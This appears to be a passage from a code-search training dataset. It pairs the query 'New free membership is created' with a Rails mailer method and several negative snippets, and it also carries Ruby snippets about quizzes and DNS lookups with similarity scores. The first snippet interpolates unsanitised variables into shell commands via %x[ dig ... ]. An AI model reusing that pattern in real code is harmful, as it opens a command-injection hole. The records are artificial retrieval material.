udp: q27)\n end\n \n \n @average=Performance.where(question_id: @question.id).average(:responsetime)\n @highest=Performance.where(question_id: @question.id).maximum(:responsetime)\n @lowest=Performance.where(question_id: @question.id).minimum(:responsetime)\n @count=Performance.where(question_id: @question.id).count(:responsetime)\n @unavailable=Performance.where(responsetime: -1 )\n @a=@unavailable.where(question_id: @question.id).count(:responsetime)\n @availability=0\n \n Search.create(server: @question.dnsname)\n \n \n total=%x[ dig @#{server} #{namedns} #{type} | wc -l ]\n total1,total2=total.split(\"\\n\") \n \n a = 1\n while a != total1.to_i\n \n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]\n\n\n if value2==\";; ANSWER SECTION:\\n\"\n a=a+1\n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]\n while value2 !=\"\\n\"\n# \n \n b,c,d,e,f,g=value2.split(\" \")\n dnsanswer=b \n ttl=c \n typeAnswer=e \n o=e \n if g != nil \n ip=f+\" \"+g\n else \n ip=f \n end \n answerType=\"answer\" \n #answerList=Answer.question.where(:typeAnswer \"answer\")\n #answerList.each do |f|\n #if f.ipadress != ip\n #Change.create() \n Answer.create(dnsname: dnsanswer,ttl: c,recordtype: e,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)\n a=a+1 \n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ] \n end\n end\n\n if value2==\";; AUTHORITY SECTION:\\n\"\n \n a = a+1\n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]\n while value2 != \"\\n\"\n\n \n b,c,d,e,f,g=value2.split(\" \")\n dnsanswer=b\n ttl=c\n typeAnswer=e\n o=e\n if g != nil\n ip=f+\" \"+g\n else\n ip=f\n end\n answerType=\"authority\"\n Answer.create(dnsname: dnsanswer,ttl: c,recordtype: typeAnswer,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)\n a = a+1 \n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ] \n end\n end\n \n if value2==\";; ADDITIONAL SECTION:\\n\"\n a=a+1\n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]\n while value2 !=\"\\n\" \n b,c,d,e,f,g=value2.split(\" \")\n dnsanswer=b\n ttl=c\n typeAnswer=e\n o=e\n if g != nil\n ip=f+\" \"+g\n else\n ip=f\n end\n answerType=\"additional\"\n Answer.create(dnsname: dnsanswer,ttl: c,recordtype: typeAnswer,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)\n a=a+1 \n value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ] \n end\n end\n\n \n \n \n a =a+1\n end\n\n\n\n\n\n \n\n\n\n \n\n\n respond_to do |format|\n if @question.save\n @question.create_detail(:average => @average ,:maximum => @highest,:minimum => @lowest,:total_query => @count,:total_fail => @a ,:status =>@availability )\n\n \n \n format.html { redirect_to @question, notice: 'DNS was successfully Add.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @feedback_active = !!current_user\n @new_answer = @question.answers.new\n end",
"def correct_answer(text)\n answer = Answer.new(text, true)\n @errorReporter.register answer\n @test.last_question.add_answer answer\nend",
"def answer(question)\n response = []\n begin\n\ttexto = QUERY_TEMPLATE.sub(/%command%/, question)\n\tprint texto \n\tquery = QueryFactory.create(texto)\n\t# qexec = SparqlDLExecutionFactory.create(query, storage.inferred)\n\tqexec = QueryExecutionFactory.create(query, storage.inferred); #qexec = QueryExecutionFactory.create(query, storage.model);\n results = qexec.execSelect\n response = parse_results(results)\n ensure\n qexec.close if qexec\n end\n response\n end",
"def add_question(name, type, klass)\n self.payload += add_record(name, type, klass).encode\n self.question_rr += 1\n end",
"def suggest_new_possibility?\n puts \"\"\n puts \"Would you like us to suggest a new possibility?\"\n puts \"\"\n puts \"1. Yes, give me more.\"\n puts \"2. Yes and I'd like to change my time and location first.\"\n puts \"3. No, I've had enough.\"\n puts \"\"\n self.suggest_another = gets.strip\n self.quit if self.suggest_another == \"quit\"\n if [\"1\", \"2\", \"3\"].all? { |i| self.suggest_another != i}\n self.what_was_that?\n self.suggest_new_possibility?\n end\n self.continue?\n end",
"def ask_question\n @game_id = params[:game_id]\n @current_game = Game.find(@game_id)\n @bonus = params[:bonus]\n unless @current_game.players_turn?(current_user.id)\n back_to_index and return\n end\n\n if @current_game.normal_round?\n subject_title = params[:subject]\n @subject = subject_title\n @questions = Question.questions_by_user_experience(current_user.experience_level, @subject)\n @question = @questions.sample\n elsif @current_game.challenge_round?\n @challenge = Challenge::get_ongoing_challenge_by_game(@current_game.id)\n if @challenge\n @question = Question.find(@challenge.get_question_id_by_counter)\n @subject = @question.subject_title\n elsif @challenge.nil?\n wager = params[:wager]\n prize = params[:prize]\n if wager && prize\n @challenge = Challenge.create_challenge(@current_game.id, current_user.id, @current_game.opponent_id(current_user.id), wager, prize)\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n end\n end\n if @question\n respond_to do |format|\n format.html\n format.xml { render :xml => @question }\n end\n end\n end",
"def questioning\n return text\n end",
"def questioning\n return text\n end",
"def quest; end",
"def next_question\n if @question.question_type == \"quiz\"\n @next_question = @question.id + 10\n if @next_question > 70\n @next_question = @next_question - 69\n end\n elsif @question.question_type == \"self-guided\"\n @next_question = @question.id + 1\n end\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def create \t\n\t \t# TODO: make sure that there are no duplicates for questions\n\t \t\n\t \tif params[:question].nil?\n\t \t\t@error_message = 'ERROR: no question parameter provided'\n \t\telsif params[:question][:short_name].nil? or params[:question][:short_name].empty?\n \t\t\t@error_message = 'ERROR: no short name provided'\n \t\telsif params[:question][:text].nil? or params[:question][:text].empty?\n \t\t\t@error_message = 'ERROR: no question text provided'\n \t\telsif params[:question][:question_type].nil? or params[:question][:question_type].empty?\n \t\t\t@error_message = 'ERROR: no question type provided'\n\t\telsif params[:question][:domain].nil? or params[:question][:domain].empty?\n\t\t\t@error_message = 'ERROR: no question domain provided'\n\t\telsif not [Question::UNFILED_DOMAIN,Question::PROFILE_DOMAIN,Question::FEEDBACK_DOMAIN].include?(params[:question][:domain].downcase)\n\t\t\t@error_message = 'ERROR: invalid question domain provided'\n \t\telsif not ['Text','Multiple Choice','Multiple Selection'].include?(params[:question][:question_type])\n \t\t\t@error_message = 'ERROR: invalid question type'\n \t\telsif params[:question][:question_type] != 'Text' and (params[:choices].nil? or params[:choices].empty?)\n \t\t\t@error_message = 'ERROR: did not specify choices for a choice question' \t\t\t\n \t\telse\n\t\t \tquestion_type = _condense_question_type(params[:question][:question_type])\n \t\t\t# TODO: make sure that there are no duplicates\n\t\t \t \t\t\t\n\t\t \tif question_type.nil?\n \t\t\t\t@error_message = 'ERROR: could not condense question type properly!'\n \t\t\telse\n\t\t\t \t_create_new_question params[:question][:short_name], params[:question][:text], question_type, params[:question][:domain].downcase, current_user.id, params[:choices]\n\t \t\tend\n \t\tend\n \t\tif @error_message.nil? or @error_message.index('ERROR').nil? # if there is an error, stay on this page; else, allow user to continue\n \t\t\tredirect_to :action => :index\n \t\tend\n\tend",
"def setup_short_answer_questions(questions)\n questions[35..50].each do |questions_in_a_lesson|\n @unique_questions << questions_in_a_lesson.find_all{|question| question.question_type == 'short_answer'}[rand(2)]\n end\n end",
"def new\n @question = Question.new \n end",
"def create_question_for(name)\n define_method \"#{name}?\" do\n attributes[name]\n end\n end",
"def create\n @effort = @question.efforts.new(effort_params)\n @effort.question = @question\n @effort.quest = @quest\n\n # if @question.answer.content.downcase == @effort.content.downcase --> Doesn't work !!!\n # @effort.status = \"correct\"\n # else\n # @effort.status = \"wrong\"\n # end\n if @effort.save!\n\n @all_questions = @quest.challenge.questions.to_a\n @answered_questions = @quest.efforts.map(&:question)\n @remaining_questions = @all_questions - @answered_questions\n\n unless @remaining_questions.empty?\n next_question_id = @remaining_questions.first.id\n puts @question.id\n @question = Question.find(next_question_id)\n puts @question.id\n redirect_to student_quest_question_path(@quest, @question)\n else\n # Takes them back to profile if finished\n # TODO - change this to results page or flash message?\n redirect_to student_profile_path\n end\n else\n session[:return_to] ||= request.referer\n end\n end",
"def interpret(question)\n #\n # accept everything:\n # no statement interpretation here, just ok\n #\n answer = nil\n\n reply answer_o(answer)\n end",
"def is_work_name_previously_collected_and_valid?(question)\n answer_for(question, valid_response_exists?(\"PREG_VISIT_1_3.WORK_NAME\", :last))\n end",
"def new\n # Define a new question to properly generate a form\n @question = Question.new\n end",
"def question_type\n Exercise::Q_CODING\n end",
"def duplicated_question\n duplicator = Duplicator.new({}, current_course: current_course)\n duplicator.duplicate(@question.specific).acting_as\n end",
"def create_question(question_text,question_bank_id,tenant_id,question_type,explanation,direction_id,passage_id)\n question = Question.new\n question.question_text = question_text\n question.question_bank_id = question_bank_id\n question.tenant_id = tenant_id\n question.explanation = explanation\n question.question_type = question_type\n question.save\n question_attribute = create_question_attribute(question.id,\"\",question_bank_id,\"\",\"\",\"\",direction_id,passage_id,\"\",\"\",tenant_id)\n question_attribute.update_attribute(\"difficulty_id\",get_difficulty(\"not defined\"))\n unless question_type.nil? or question_type.blank?\n question_type = QuestionType.find_by_value(question_type)\n question_attribute.update_attribute(\"question_type_id\",question_type.id)\n end\n return question\n end",
"def question_asked\n redirect_to game_question_url unless question?\n end",
"def should_show_maiden_name_and_nicknames?(question)\n ri = false\n event_type_code = event.try(:event_type_code).to_i\n case event_type_code\n when 13\n ri = true\n when 18\n pv1_events = person.contact_links.select do |cl|\n cl.event.try(:event_type_code) == 13\n end.map(&:event).uniq\n ri = pv1_events.last && !pv1_events.last.try(:completed?)\n end\n answer_for(question, ri)\n end",
"def new\n @question = Question.new\n @question.global_update_1 ='N'\n @question.global_update_2 ='N'\n @question.global_update_3 ='N'\n @question.global_update_insert_1 ='N'\n @question.global_update_insert_2 ='N'\n @question.global_update_insert_3 ='N'\n @question.status = 'active'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end"
] |
[
"0.7336592",
"0.683144",
"0.67358756",
"0.66473466",
"0.6617984",
"0.6617463",
"0.6504145",
"0.644394",
"0.64160067",
"0.63654554",
"0.6343587",
"0.62691075",
"0.6254922",
"0.624288",
"0.6242147",
"0.6211092",
"0.62087",
"0.6206289",
"0.6163685",
"0.6160537",
"0.6151875",
"0.6138817",
"0.6131693",
"0.6130083",
"0.6122886",
"0.61094725",
"0.6099786",
"0.60718346",
"0.6064229",
"0.60608613",
"0.60225993",
"0.60188806",
"0.6005492",
"0.59983283",
"0.598752",
"0.59714633",
"0.59663916",
"0.59644276",
"0.59578335",
"0.59572864",
"0.59504616",
"0.5948176",
"0.5941097",
"0.5937416",
"0.59371096",
"0.5923032",
"0.59166294",
"0.5901891",
"0.5893374",
"0.5886923",
"0.5885154",
"0.58785564",
"0.5876943",
"0.5873488",
"0.58692944",
"0.58664185",
"0.58575004",
"0.5856482",
"0.585546",
"0.58530575",
"0.58520114",
"0.5845491",
"0.5844907",
"0.5844841",
"0.5843681",
"0.5840303",
"0.58361423",
"0.58267194",
"0.58233297",
"0.58233297",
"0.5814957",
"0.5811689",
"0.58040524",
"0.5794576",
"0.57913345",
"0.57779086",
"0.577722",
"0.5774452",
"0.5770608",
"0.57705295",
"0.57671547",
"0.57659906",
"0.57659906",
"0.5765571",
"0.57636404",
"0.5752439",
"0.5752439",
"0.5738589",
"0.5738093",
"0.573777",
"0.573051",
"0.5727508",
"0.5723613",
"0.5716795",
"0.5706346",
"0.5704957",
"0.5703858",
"0.57013166",
"0.57012564",
"0.5699346",
"0.56993407"
] |
0.0
|
-1
|
SUSIE NOTIFICATIONS New free membership is created
|
def new_user(user_name, email)
@user_name = user_name
@email = email
mail to: "Susie Ye <susie@baserails.com>", subject: "Free User: #{email}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new_user_notification\n\t\tUserMailer.new_user_notification('test@test.com',User.where(:administrator => nil).first)\n end",
"def create\n\n @pending_membership = PendingMembership.new(club_id: params[:user][:pending_membership][:club_id])\n\n params[:user].delete(\"pending_membership\")\n\n @user = User.new(params[:user])\n @possible_memberships = PendingMembership.where(user_email: @user.email)\n\n if @possible_memberships.length > 0 && @user.save\n new_user = User.last\n @membership = Membership.new\n @membership.user_id = new_user.id\n @membership.club_id = @possible_memberships.first.club_id\n @possible_memberships.first.destroy\n @membership.save\n session[:user_id] = @user.id\n redirect_to @user, notice: 'Account and membership successfuly created.'\n elsif @user.save\n @pending_membership.user_id = @user.id \n @pending_membership.user_first_name = @user.first_name\n @pending_membership.user_last_name = @user.last_name\n @pending_membership.user_email = @user.email\n @pending_membership.save\n UserMailer.admin_verification(@pending_membership).deliver\n UserMailer.welcome(@user).deliver\n session[:user_id] = @user.id\n redirect_to @user, notice: 'Account successfuly created.' \n else\n # needed for render 'new' in case of form errors \n @user.pending_memberships.build\n render action: \"new\"\n end\n end",
"def new_signup_notification\n user = User.first\n UserMailer.new_signup_notification(user, \"x.x.x.x (aprox y)\")\n end",
"def free_signup(user)\n @user = user\n add_user_to_marketing_list(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Free Signup Email')\n DelayedKiss.record(user.email, 'Subscribed to Newsletter', {'Newsletter Name' => \"GV Free 5 Alerts Plan List\"})\n mail to: user.email, subject: \"Thanks for signing up to Grapevine's Free Forever plan!\"\n end",
"def membership_notification(membership)\n @dashboard_url = root_url\n @user = membership.user\n @creator = membership.creator\n @target = membership.whiteboard || membership.board || membership.project\n mail(:to => @user.email, :subject => _('%s added you to %s on %s.') % [\n @creator.nicename, @target.title, Doers::Config.app_name])\n end",
"def create_notification\n subject = \"#{student_request.name} \"\n body = \"#{student_request.name} (#{student_request.email}) needs tutorial.\"\n tutor_request.notify(subject, body, self)\n end",
"def create\n\n @user = User.where(firstName: params[:user][:firstName]).first\n @loop = Loop.find(params[:loop_id])\n\n if @user\n lm = @user.loop_memberships.build(loop_id: @loop.id)\n lm.status = \"pending\"\n lm.author_id = current_user.id\n lm.save\n flash[:success] = \"invitation sent\"\n redirect_to loop_path(@loop)\n else \n flash[:error] = \"error with invitation\"\n redirect_to loop_path(@loop)\n end\n\n end",
"def create\n @membership = Membership.find_or_create_by_user_id_and_group_id(params[:membership][:user_id], params[:group_id])\n\n if params[:autoconfirm]\n @membership.update_attributes(:level => Membership::LEVELS[:regular])\n else\n @membership.update_attributes(:level => Membership::LEVELS[:pending])\n end\n \n auth!\n\n respond_to do |format|\n if @membership.save\n process_notification(@membership, {:level => @membership.level_name, :adder => current_user.id}, :action => 'create', :owner => @membership.user, :recipient => @membership.group)\n format.html { redirect_to(edit_group_path(@group), :notice => t(:membership_created)) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { redirect_to @group }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_user_notification\n UsersNotification.create(user_id:self.id,notified:'y')\n end",
"def after_create\n# SubmissUser.create(:submission_id => session[:submiss_id], :user_id => self.id, :submiss_admin => 'N')\n\t\tself.submiss_users.create(:submission_id => session[:submiss_id], :submiss_admin => 'N')\n\t\tUserNotifier.deliver_invitation(self, session[:submiss_id], session[:user_id])\n#\t\t deliver_invitation(@iu, session[:submiss_id], session[:user_id])\n puts('InviteeUser - after_create fired!')\n end",
"def create_invitiation_token\n membership_token = Membership.new_token\n update_attribute(:invitiation_token, membership_token)\n end",
"def new_invite_notification (notifier, to_id, session)\n\n result = nil\n\n message = NotificationsHelper.get_message(notifier,NotificationsHelper::INVITES,session)\n\n notification = new_notify(to_id)\n\n\n lactic_uid = \"invite-#{session.creator_fb_id}\"\n url = \"/lactic_sessions/#{lactic_uid}-#{session.id}-#{(session.start_date_time.to_f * 1000).to_i}\"\n\n result = (notification)? notification.new_notification(notifier,message,NotificationsHelper::INVITES, url) : nil\n\n\n ### Send notification alert....\n send_notification(to_id,\"New invite from #{notifier.name}\",result,\"invites\")\n\n result\n end",
"def new_user_waiting_for_approval(faculty)\n @faculty = faculty\n\n mail(to: 'rorteammaker@gmail.com', subject: 'A new faculty member is awaiting approval!', body: 'A new faculty member is awaiting your approval!')\n end",
"def create\n # TODO: test if \"user_established_at\" and \"network_established_at\" can be hacked (ie: set) through API calls,\n # thereby creating memberships that are already 'accepted' at creation.\n user = User.find_by_id(params[:membership][:user_id])\n if user.nil?\n render_404(\"User not found.\")\n elsif !Membership.find_by_user_id_and_network_id(params[:membership][:user_id], params[:membership][:network_id]) ||\n Network.find(params[:membership][:network_id]).owner?(user)\n\n @membership = Membership.new(params[:membership])\n\n @membership.user_established_at = nil\n @membership.network_established_at = nil\n if @membership.message.blank?\n @membership.message = nil\n end\n \n respond_to do |format|\n\n if @membership.save\n # Take into account network's new member policy setting\n if (@membership.network.open?)\n @membership.accept!\n \n begin\n user = @membership.user\n network = @membership.network\n Notifier.deliver_auto_join_group(user, network, base_host) if network.administrators(true).any? {|a| a.send_notifications?}\n rescue\n logger.error(\"ERROR: failed to send email notification for auto join group. Membership ID: #{@membership.id}\")\n end\n \n flash[:notice] = 'You have successfully joined the Group.'\n elsif (@membership.network.membership_by_request?)\n @membership.user_establish!\n \n begin\n user = @membership.user\n network = @membership.network\n Notifier.deliver_membership_request(user, network, @membership, base_host) if network.administrators(true).any? {|a| a.send_notifications?}\n rescue Exception => e\n logger.error(\"ERROR: failed to send Membership Request email notification. Membership ID: #{@membership.id}\")\n logger.error(\"EXCEPTION:\" + e)\n end\n \n flash[:notice] = 'Membership was successfully requested.'\n end\n\n format.html { redirect_to user_membership_path(current_user.id, @membership) }\n else\n format.html { render :action => \"new\" }\n end\n end\n else\n respond_to do |format|\n flash[:error] = \"Membership not created (already exists)\"\n format.html { render :action => \"new\" }\n end\n end\n end",
"def addmywwmember \n\t\t@vendor=Vendor.find(current_vendor.id)\n\t\t@membership=Vendormember.find_by_user_id_and_vendor_id(params[:user_id], current_vendor.id)\n\n\n\t\tif @membership.nil?\n\n\t\t@member=Vendormember.create(:user_id=>params[:user_id], :vendor_id=>current_vendor.id, :userApproved=>false, :status=>\"waiting\")\n\t\t@user=User.find(params[:user_id])\n\t\trespond_to do |format|\n\t\tif @member.save\n\t\t@notification=@vendor.notifications.create(:notificationTo=>\"User\",:notificationToId=>params[:user_id], :message=> params[:message])\n\t\tBusinessclaimMailer.delay.mywwmembership(@user, @vendor) \n\n\t\tformat.html { render :json => \"Successfully sent a notification to user. Please wait for the approval.\" }\t\t \n\t\tformat.js { render :json => \"Successfully sent a notification to user. Please wait for the approval.\" }\n\t\telse\n\t\tformat.html { render :json => @member.errors.full_messages.first }\t\t \t\t \n\t\tformat.js { render :json => @member.errors.full_messages.first }\n\t\tend\n\t\tend\n\n\t\telse\n\n\t\tif @membership.status==\"waiting\"\n\t\trespond_to do |format|\n\t\tformat.html { render :json => \"Already Waiting approval.\" }\t\t \n\t\tformat.js { render :json => \"Already Waiting approval.\" }\n\t\tend\n\t\tend\n\t\tend\n\t\tend",
"def create\n @invite = Invite.new(invite_params)\n @invite.sender_id = current_user.id\n if @invite.save\n\n #if the user already exists\n if @invite.recipient != nil \n\n #send a notification email\n InviteMailer.existing_user_invite(@invite).deliver \n\n #Add the user to the user group\n @invite.recipient.user_groups.push(@invite.user_group)\n else\n InviteMailer.new_user_invite(@invite, new_user_registration_path(:invite_token => @invite.token)).deliver\n end\n \n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end",
"def create\n\n @user = current_user\n if @user.is_admin? and not session[:express_token]\n # Make a new membership.\n @membership = Membership.new(membership_params)\n @membership.purchase_date = DateTime.now\n payment_complete = true\n else\n # Do the PayPal purchase\n payment_complete = false\n notice_message_for_user = \"Something went wrong, sorry!\"\n @user = current_user\n @membership = @user.memberships.build(:valid_from => (@user.last_membership.try(:expiry_date) or DateTime.now), :duration => session[:express_purchase_membership_duration], :purchase_date => DateTime.now)\n\n if session[:express_autodebit]\n # It's an autodebit, so set that up\n # 1. setup autodebit by requesting payment\n ppr = PayPal::Recurring.new({\n :token => session[:express_token],\n :payer_id => session[:express_payer_id],\n :amount => (session[:express_purchase_price] / 100),\n :ipn_url => \"#{payment_notifications_url}\",\n :currency => 'AUD',\n :description => session[:express_purchase_description]\n })\n response_request = ppr.request_payment\n logger.info \"XXXXXXXXXXXX\"\n logger.info response_request.to_json\n # raise \"Response denied\"\n logger.info \"XXXXXXXXXXXX\"\n\n if response_request.approved?# and response_request.completed?\n # 2. create profile & save recurring profile token\n # Set :period to :daily and :frequency to 1 for testing IPN every minute\n ppr = PayPal::Recurring.new({\n :token => session[:express_token],\n :payer_id => session[:express_payer_id],\n :amount => (session[:express_purchase_price] / 100),\n :currency => 'AUD',\n :description => session[:express_purchase_description],\n :frequency => session[:express_purchase_membership_duration], # 1,\n :period => :monthly, # :daily,\n :reference => \"#{current_user.id}\",\n :ipn_url => \"#{payment_notifications_url}\",\n :start_at => (@membership.valid_from + session[:express_purchase_membership_duration].months), # Time.now\n :failed => 1,\n :outstanding => :next_billing\n })\n\n response_create = ppr.create_recurring_profile\n if not(response_create.profile_id.blank?)\n @membership.paypal_profile_id = response_create.profile_id\n # If successful, update the user's membership date.\n # update_membership_expiry_date\n # Reset refund if they had one in the past\n @membership.refund = nil\n\n # TODO: Background task\n # TODO: Check paypal recurring profile id still valid\n # TODO: Setup future update_membership_expiry_date\n\n # Save the PayPal data to the @membership model for receipts\n save_paypal_data_to_membership_model\n payment_complete = true\n else\n # Why didn't this work? Log it.\n logger.warn \"create_recurring_profile failed: #{response_create.params}\"\n end\n else\n # Why didn't this work? Log it.\n logger.warn \"request_payment failed: #{response_request.params}\"\n notice_message_for_user = response_request.params[:L_LONGMESSAGE0]\n raise \"Request payment failed\"\n end\n else\n # It's a single purchase so make the PayPal purchase\n response = EXPRESS_GATEWAY.purchase(session[:express_purchase_price], express_purchase_options)\n\n if response.success?\n # If successful, update the user's membership date.\n # update_membership_expiry_date\n logger.info \"Paypal is happy!\"\n save_paypal_data_to_membership_model\n payment_complete = true\n else\n # The user probably hit back and refresh or paypal is broken.\n logger.info \"Paypal is sad.\"\n logger.warn response.params\n notice_message_for_user = response.message\n # redirect_to user_path(current_user), notice: response.message\n # return\n end\n end\n\n end\n\n respond_to do |format|\n if payment_complete and @membership.save\n format.html { redirect_to user_path(@user), notice: 'Membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @membership }\n else\n logger.info \"Uh oh, couldn't save.......\"\n raise \"couldn't save.\"\n format.html { render action: 'index', notice: @membership.errors }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_membership_request\n member = Member.new(squad: @squad, user: current_user, membership: 'request')\n member.save(validate: false)\n end",
"def notify_member_expire_1\n users, event = User.unpaid_membership_expires_in_1_day\n users.each do |user|\n UserMailer.deliver_membership_expires_in_1_day(user)\n User.add_email_event(user, event)\n end\n end",
"def set_members\n members_ids = params[:contest][:members].reject(&:empty?)\n @contest.members.destroy_all if params[:action] == \"update\"\n members_ids.each do |members_id|\n member = Member.create(:user_id => members_id.to_i, :invitable => @contest)\n #send notification\n reciver = User.find(members_id)\n notifications = reciver.notifications.unread \n if reciver.notification_setting.try(:new_update)\n Notification.create(recepient_id: members_id, user: current_user, body: \"#{current_user.screen_name } has invited you to join a contest #{@contest.topic} \", notificable: @contest, :accept => false, :is_acceptable=>true)\n PrivatePub.publish_to \"/profiles/new_#{members_id}\", \"jQuery('#all-notifications').html('#{notifications.count}'); jQuery('#all-notifications').addClass('push-notification');\"\n\n end\n end\n end",
"def membership_notification(user)\n @greeting = \"Hi\"\n\n mail to: user.email, subject: \"Success! You did it.\"\n end",
"def create\n @membership_confirmation = MembershipConfirmation.new(membership_confirmation_params)\n @membership_confirmation.user = current_user\n\n respond_to do |format|\n if @membership_confirmation.save\n format.html { redirect_to :back, notice: 'Your application has been received.' }\n format.json { render :show, status: :created, location: @membership_confirmation }\n else\n format.html { redirect_to :back, notice: 'You already have a pending application' }\n end\n end\n end",
"def create\n success = false\n no_success_message = \"\"\n \n # find the epicenter membership that the user wants\n @membership = Membership.find(params[:membership_id])\n membershipcard = current_user.get_membershipcard( @epicenter )\n\n # subscription to \"new circle movement\"\n if @epicenter == @mother\n flash[:warning] = 'This option is no longer active'\n redirect_path = epicenter_path(@epicenter)\n \n # subscription to all other epicenters\n else \n puts \"create non-NCM Epicenter subscription\"\n stripe_customer = false\n \n success = @epicenter.validate_and_pay_new_membership( current_user, @membership )\n unless success\n no_success_message = \"Du har ikke nok beholdning og/eller månedlig tilførsel af #{@epicenter.mother.fruittype.name}\"\n end\n end\n\n if success\n if @epicenter == @mother\n current_user.name = params['stripeBillingName']\n splitted_name = current_user.name.split(' ')\n if splitted_name.length > 2\n current_user.last_name = splitted_name[-1]\n current_user.first_name = current_user.name.strip().gsub(current_user.last_name, '')\n elsif splitted_name == 2\n current_user.first_name = splitted_name[0]\n current_user.last_name = splitted_name[1]\n else\n current_user.first_name = splitted_name[0]\n end\n current_user.save\n end\n\n @epicenter.make_membershipcard( current_user, @membership, stripe_customer )\n @epicenter.make_member( current_user )\n @epicenter.harvest_time_for( current_user )\n\n log_details = { membership: @membership.name }\n EventLog.entry(current_user, @epicenter, NEW_MEMBERSHIP, log_details, LOG_COARSE)\n\n @request = session[:new_ncm_membership]\n if stripe_customer and @request \n @child = Epicenter.find_by_slug(@request['epicenter_id'])\n @child_membership = @child.memberships.find(@request['membership_id'])\n\n session.delete(:new_ncm_membership)\n\n if @child.validate_and_pay_new_membership( current_user, @child_membership )\n @child.make_membershipcard( current_user, @child_membership, false )\n @child.make_member( current_user )\n @child.harvest_time_for( current_user )\n log_details = { membership: @child_membership.name }\n EventLog.entry(current_user, @child, NEW_MEMBERSHIP, log_details, LOG_COARSE)\n end\n end\n\n if @child\n if current_user.has_member_tshirt?(@child)\n flash[:success] = \"Welcome. You are now a member of #{@child.name} and #{@epicenter.name}\"\n redirect_path = epicenter_path(@child)\n else\n flash[:success] = \"Welcome. You are now a member of #{@child.name}. BUT NOT #{@epicenter.name}\"\n redirect_path = epicenter_path(@epicenter)\n end\n else\n flash[:success] = \"Welcome. You are now a member af #{@epicenter.name}\"\n redirect_path = epicenter_path(@epicenter)\n end\n else\n flash[:warning] = no_success_message\n redirect_path = new_epicenter_subscription_path(@epicenter)\n end\n\n\n redirect_to redirect_path\n end",
"def send_signup_notification\n deliver_activation_email(:signup, :subject => (MaSA[:activation_subject] || \"Please Activate Your Account\") )\n end",
"def create\n count = Member.mass_invite!(params[\"MassInvite\"][\"emails\"])\n respond_to do |format|\n format.html { redirect_to new_member_path, notice: \"Yaay! Totalt #{count} invitasjoner ble sendt.\" }\n end\n end",
"def send_on_create_confirmation_instructions; end",
"def send_on_create_confirmation_instructions; end",
"def created(member)\n @member = member\n\n if Rails.env.production?\n mail :to => member.user.email, \n :cc => 'info@devildogsquadron.com', \n :subject => 'Squadron Membership Application Received'\n else\n mail :to => member.user.email, \n :subject => 'Squadron Membership Application Received'\n end\n end",
"def create\n # Init Member\n @member = Member.new(member_params)\n @member.invited = true\n if @member.save\n flash[:info] = \"Registration successful!\"\n @member.send_activation_email\n render 'activate'\n else\n render 'new'\n end\n end",
"def create\n @membership = @website.memberships.new(membership_params)\n @membership.user.no_password = true\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @membership }\n else\n format.html { render action: 'new' }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
